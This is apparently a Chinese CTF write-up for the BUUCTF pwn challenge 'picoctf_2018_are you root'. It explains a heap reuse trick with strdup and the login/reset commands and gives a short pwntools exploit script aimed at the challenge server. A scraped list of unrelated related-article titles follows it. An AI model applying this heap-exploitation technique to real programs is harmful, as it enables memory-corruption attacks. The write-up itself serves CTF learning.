strdup: malloc一个参数字符串大小的内存,并且将字符串拷贝进去.



思路

利用login, 将我们想要的数据排列好, *(v6 + 2), 其实就是v6[2], 每四个字节就是一个数据 所以字符只需要是
’aaaaaaaa’ + p64(0x5), 注意大小应该是0x10, 这样最好,可以百分百申请回来 将其释放掉

重新申请回来这样就不是 * v6指向它了而是v6指向它了

from pwn import *
p = remote('node3.buuoj.cn',27037)
p.sendlineafter('>','login ' + 'a'*0x8 + p32(0x5) + 'aaaa')
p.sendlineafter('>','reset')
p.sendlineafter('>','login aa')
p.sendlineafter('>','get-flag')
p.interactive()

BUUCTF(pwn)picoctf_2018_are you root相关推荐

  1. [BUUCTF-pwn]——picoctf_2018_are you root

    [BUUCTF-pwn]--picoctf_2018_are you root 题目地址:点这里 害,有点小烧脑子这道题. 又学习了几个没见过的C语言函数 peak小知识 strtok: 第一次使用时 ...

  2. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  3. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  4. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  5. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  6. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  7. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  8. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  9. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

最新文章

  1. C#给串口设备发送脉冲指令。DTR和RTS指令
  2. GO语言Windows下Liteide
  3. 浏览器中的标签切换事件
  4. phpexcel 将excel数据导入到mysql数据库_phpexcel导入excel到mysql数据库(示例)
  5. JavaScript全局函数
  6. 【系列5】使用Dockerfile创建带weblogic的Centos Docker镜像
  7. Visifire Silverlight Charts (基于SilverLight的Chart组件)
  8. RxJava在Android中的简单应用
  9. linux socket 104 错误,linux socket连接中 ERRNO错误
  10. Redis 和 memcached 区别
  11. html怎么修改网页背景色,CSS如何设置网页背景颜色、背景图片
  12. js 分析——百度模拟登录(一)
  13. 如何强制解锁或删除被占用的文件或文件夹 - ForceDelete绿色强制文件删除工具
  14. socket编程到底是什么
  15. 微信被动添加好友限制,如何无上限好友被动添加???
  16. 服务器固态硬盘跟机械硬盘之间差别是什么?
  17. MobRecon: Mobile-Friendly Hand Mesh Reconstruction from Monocular Image阅读笔记
  18. K8s系列之:搭建高可用K8s v1.23.5集群详细步骤,3个master节点,3个Node节点
  19. app ui设计规范
  20. Java如何去除字符串中的HTML标签

热门文章

  1. 【摩天好课推荐】2.4 Python代码常见的逻辑结构
  2. 2018中国互联网企业100强揭晓!阿里巴巴名列榜首
  3. spring计算方圆300km内其它城市(附完整代码)
  4. 《Python核心编程(第二版)》——1.9 练习
  5. request.getServletContext()
  6. swift语言java_用Swift语言替换#ifdef
  7. 【学习笔记】SAP CO模块概念信息(上)
  8. 四、【SAP-PM模块】维护业务处理流程
  9. [SAP ABAP开发技术总结]动态语句、动态程序
  10. 几种 ETL 工具的比较(Kettle,Talend,Informatica 等)